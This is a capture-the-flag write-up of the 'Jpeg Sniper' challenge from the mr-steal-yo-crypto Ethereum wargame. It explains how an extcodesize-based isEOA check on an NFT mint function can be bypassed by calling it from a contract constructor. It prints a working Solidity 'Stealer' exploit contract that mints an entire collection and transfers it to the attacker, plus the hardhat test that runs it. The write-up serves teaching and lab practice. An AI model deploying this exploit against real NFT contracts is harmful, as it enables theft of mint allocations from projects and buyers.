This is the first article of a series about mr-steal-yo-crypto wargame. The main target of these posts is to report all of the knowledge acquired to solve the challenges. The post will show the reader the foothold and the path which lead to the solution.
The wargame environment is based on hardhat, a tool used to create a development environment for ethereum-based smart contracts.
Challenge 01 - Jpeg Sniper
Hopegs the NFT marketplace is launching the hyped NFT collection BOOTY soon. They have a wrapper contract: FlatLaunchpeg, which handles the public sale mint for the collection. Your task is to bypass their safeguards and max mint the entire collection in a single tx.
To solve the challenge we were provided with the complete source code of the vulnerable contract and a .ts file (a unit test file) used to invoke the exploit. It will then verify that the challenge has been solved.
| File | sha1 |
|---|---|
| jpeg-sniper-contracts.tar | 7cf2a5225e611bff70a1fc5a8404d79e43538e71 |
| jpeg-sniper-test.ts | 5e02d3bc908cf4d437be80411c66e3ee64742fd3 |
The challenge is solved if the only account we should use (attacker) manages to obtain the entire NFT collection minted for free with the vulnerable smart contract. The collection amounts to 69 NFTs but a single account can mint only 5 of them.
FlatLaunchpeg contract analysisThe contract is a subclass of a "Base" contract (BaseLaunchpegNFT), which is itself a subclass of OpenZeppelin's ERC721 framework.
contract BaseLaunchpegNFT is ERC721, Ownable {
...
}
contract FlatLaunchpeg is BaseLaunchpegNFT {
...
}
After a rapid analysis of the two contracts, the most interesting methods seems to be the following:
isEOA (BaseLaunchpegNFT)publicSaleMint (FlatLaunchpeg)the first one is a modifier applied to the second one, and the wanted behaviour is to avoid the use of the method by another smart contract, but only to user-owned account. Formally, there is two kind of accounts operating in ethereum blockchain:
isEOAmodifier isEOA() {
uint256 size;
address sender = msg.sender; // Get the caller address
assembly {
size := extcodesize(sender)
}
if (size > 0) revert Launchpeg__Unauthorized(); // Returns "unauthorized" response if the caller is a CA account
_;
}
The extcodesize method returns the size of the code stored in the given address, and normally is used to check that a contract exists before starting the interaction.
The idea of the method is to check if there is any code at the given address, and if the returned value is greater than 0, then the caller is deemed a CA and the interaction is refused with an unauthorized response.
The fallacy of this implementation is that can be easily bypassed. If another contract executes the code in its constructor, then the address doesn't contains any code because the contract hasn't been constructed yet. Hence by executing the code interacting with the contract from another contract's constructor the control is bypassed.
To avoid this kind of vulnerability the code should never rely to this kind of checks for its security to be strong.
publicSaleMint/// @notice Mint NFTs during the public sale
/// @param _quantity Quantity of NFTs to mint
function publicSaleMint(uint256 _quantity)
external // The method can be called from another account
payable // This allows the method to be called with some ethereum as payment
isEOA // Apply the previously described modifier
atPhase(Phase.PublicSale)
{
if (numberMinted(msg.sender) + _quantity > maxPerAddressDuringMint) { // Check that the requesting account don't cross the threshold
revert Launchpeg__CanNotMintThisMany();
}
if (totalSupply() + _quantity > collectionSize) { // Check that no more that the provided NFTs is minted
revert Launchpeg__MaxSupplyReached();
}
uint256 total = salePrice * _quantity; // In this case, the minting is free, so this line can be ignored
_mintForUser(msg.sender, _quantity); // Perform the mint and the transfer of the new NFT
_refundIfOver(total);
}
The idea is to build a smart contract that use the publicSaleMint method to mint the allowed number of NFTs and transfer them to the attacker address. The operation should be repeated since the entire collection is minted. To perform the transfer the method transferFrom, exposed by the inheritance from ERC721, can be used.
Additionally, the getter method maxPerAddressDuringMint, collectionSize and totalSupply can be used to avoid hardcoding the collection parameters.
Follows the malicious contract:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
import "@openzeppelin/contracts/utils/math/Math.sol";
interface IFlatLaunchpeg {
function totalSupply() external returns (uint256);
function publicSaleMint(uint256 _quantity) external;
function collectionSize() external returns (uint256);
function maxPerAddressDuringMint() external returns (uint256);
function transferFrom(address from, address to, uint256 tokenId) external;
}
contract Stealer {
constructor (
address targetAddress,
address attackerAddress
) {
IFlatLaunchpeg target = IFlatLaunchpeg(targetAddress);
uint256 maxQuantityPerAddress = target.maxPerAddressDuringMint();
uint256 totalQuantity = target.collectionSize();
uint256 stolen = 0;
while (stolen < totalQuantity) {
uint256 toSteal = Math.min(maxQuantityPerAddress, totalQuantity - target.totalSupply());
target.publicSaleMint(toSteal);
while (toSteal > 0) {
target.transferFrom(address(this), attackerAddress, stolen++);
toSteal--;
}
}
}
}
Follows the edited jpeg-sniper-test.ts:
import { expect } from "chai";
import { Contract, Signer, BigNumber } from "ethers";
import { ethers } from "hardhat";
const BN = BigNumber;
let precision = BN.from(10).pow(18);
let accounts: Signer[];
let attacker: Signer;
let o1: Signer;
let o2: Signer;
let admin: Signer; // should not be used
let flatLaunchpeg: Contract;
let startBlock: Number;
/// preliminary state
before(async () => {
accounts = await ethers.getSigners();
[attacker, o1, o2, admin] = accounts;
let flatLaunchpegFactory = await ethers.getContractFactory('FlatLaunchpeg')
flatLaunchpeg = await flatLaunchpegFactory.connect(admin).deploy(69,5,5)
startBlock = await ethers.provider.getBlockNumber()
});
it("solves the challenge", async function () {
const stealerFactory = await ethers.getContractFactory('Stealer');
const stealer = await stealerFactory.connect(attacker).deploy(
flatLaunchpeg.address,
await attacker.getAddress(),
);
});
/// expected final state
after(async () => {
expect(await flatLaunchpeg.totalSupply()).to.be.equal(69)
expect(await flatLaunchpeg.balanceOf(await attacker.getAddress())).to.be.equal(69)
expect(await ethers.provider.getBlockNumber()).to.be.equal(startBlock+1)
});
Which gives the following output:
PS C:\Users\vitto\Desktop\mr-steal-yo-crypto-ctf> yarn hardhat test .\test\1-jpeg-sniper.ts
yarn run v1.22.22
$ C:\Users\vitto\Desktop\mr-steal-yo-crypto-ctf\node_modules\.bin\hardhat test .\test\1-jpeg-sniper.ts
✔ solves the challenge (6753ms)
1 passing (14s)
Done in 27.38s.